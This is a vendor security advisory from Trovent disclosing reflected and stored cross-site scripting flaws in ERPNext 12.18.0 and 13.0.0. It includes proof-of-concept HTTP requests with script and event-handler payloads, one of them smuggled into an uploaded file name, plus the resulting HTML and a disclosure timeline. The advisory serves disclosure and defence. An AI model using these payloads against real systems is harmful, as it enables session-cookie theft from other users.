# Trovent Security Advisory 2103-02 # ##################################### Multiple XSS vulnerabilities in ERPNext 13.0.0/12.18.0 ###################################################### Overview ######## Advisory ID: TRSA-2103-02 Advisory version: 1.0 Advisory status: Public Advisory URL: https://trovent.io/security-advisory-2103-02 Affected product: ERPNext Tested versions: 12.18.0 and 13.0.0 beta Vendor: Frappé Technologies https://frappe.io Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch Detailed description #################### Trovent Security GmbH discovered multiple Cross-Site-Scripting vulnerabilities in the current software versions of ERPNext (13.0.0 and 12.18.0). An attacker could leverage this attack to steal session cookies, install a JavaScript keylogger and more. 1. Reflected XSS in _server_messages exception field #################################################### When an API call causes an error the server sometimes sends back exception messages containing the user input which is not sanitized. This creates the possibility of reflected XSS in any API call/server function using "_server_messages". This would be hard to exploit because we only found _server_messages exceptions in API calls made by the application itself not the user. Severity: High CVSS Score: 7.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L) CWE ID: 79 CVE ID: TBD Proof of concept ################ Sample request intercepted with Burp to inject JavaScript. Note that the JavaScript is injected in "reference_name" to raise an exception: REQUEST: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /api/method/frappe.desk.form.utils.add_comment HTTP/1.1 Host: sqlprodtest.local:1080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875 X-Frappe-CMD: X-Requested-With: XMLHttpRequest Content-Length: 157 Origin: http://sqlprodtest.local:1080 Connection: close Referer: http://sqlprodtest.local:1080/desk Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=; io=Ly9MpKRfK_nrKpurAAAN reference_doctype=User&reference_name=%3cscript%3ealert(1)%3c%2fscript%3e&content=xsstest&comment_email=Administrator ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ RESPONSE (removed the Stack Trace for better readability): ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1 417 EXPECTATION FAILED Server: nginx/1.19.7 Date: Thu, 11 Mar 2021 14:23:05 GMT Content-Type: application/json Content-Length: 1894 Connection: close Set-Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; Expires=Sun, 14-Mar-2021 14:23:05 GMT; Path=/ Set-Cookie: system_user=yes; Path=/ Set-Cookie: full_name=Administrator; Path=/ Set-Cookie: user_id=Administrator; Path=/ Set-Cookie: user_image=; Path=/ {"exc_type":"LinkValidationError","exc":"[\"Traceback (...)]","_server_messages":"[\"{\\\"message\\\": \\\"Could not find Reference Name: <script>alert(1)</script>\\\", \\\"indicator\\\": \\\"red\\\", \\\"raise_exception\\\": 1}\"]"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2. Stored XSS everywhere where user input is stored inside of HTML tags ####################################################################### The application does not sanitize escaped quotation marks (\"). This can be abused to escape the HTML attribute the input is stored in. That allows the user to add new attributes like event handlers and thus leading to stored XSS. Our testing concluded that this issue is present in the entire application the only requirement is that the input is being reflected inside of an HTML tag not between them. It also can't be a linking attribute like "href" because inside of them user input is escaped. For example in combination with HTML injection through a comment, a malicious user is able to modify his profile to steal cookies from every user including administrators that view his profile. Severity: High CVSS Score: 8.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L) CWE ID: 79 CVE ID: TBD Proof of concept ################ Sample request where the file name contains the XSS code with the escaped quotation marks: REQUEST: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /api/method/upload_file HTTP/1.1 Host: sqlprodtest.local:1080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875 Content-Type: multipart/form-data; boundary=---------------------------173872902410009950314171894076 Content-Length: 74566 Origin: http://sqlprodtest.local:1080 Connection: close Referer: http://sqlprodtest.local:1080/desk Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=; io=o0Bglip9YmrzxZj9AAAX ------------------------------173872902410009950314171894076 Content-Disposition: form-data; name="file"; filename="user-enum.png\" onmouseover=\"alert(1234)\"" Content-Type: image/png PNG (...) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTML code snippet from erpnext-server.com/desk#List/File/Home. The user is able to escape the context of the title attribute and add an onmouseover event which triggers the JavaScript: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <div class="level list-row small"> <div class="level-left ellipsis"> <div class="list-row-col ellipsis list-subject level"> <input class="level-item list-row-checkbox hidden-xs" type="checkbox" data-name="a5ff65f666"> <span class="level-item ellipsis" title="user-enum.png" onmouseover="alert(1234)" "=""> <a class="ellipsis" href="#Form/File/a5ff65f666" title="user-enum.png" onmouseover="alert(1234)" "=""> <i class="octicon octicon-file-text text-muted" style="width: 16px;"></i> <span>user-enum.png" onmouseover="alert(1234)"</span> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution / Workaround ##################### To mitigate this vulnerability, we recommend to always escape quotation marks. History ####### 2021-03-08: Vulnerability found 2021-03-12: Advisory created and vendor contacted 2021-03-22: Vendor replied that they request CVE IDs after a fix is released 2021-04-19: Vendor informed about planned disclosure date (2021-05-11) 2021-05-03: Vendor contacted, asking for status 2021-05-07: No reply from vendor, vendor contacted again 2021-05-11: Advisory published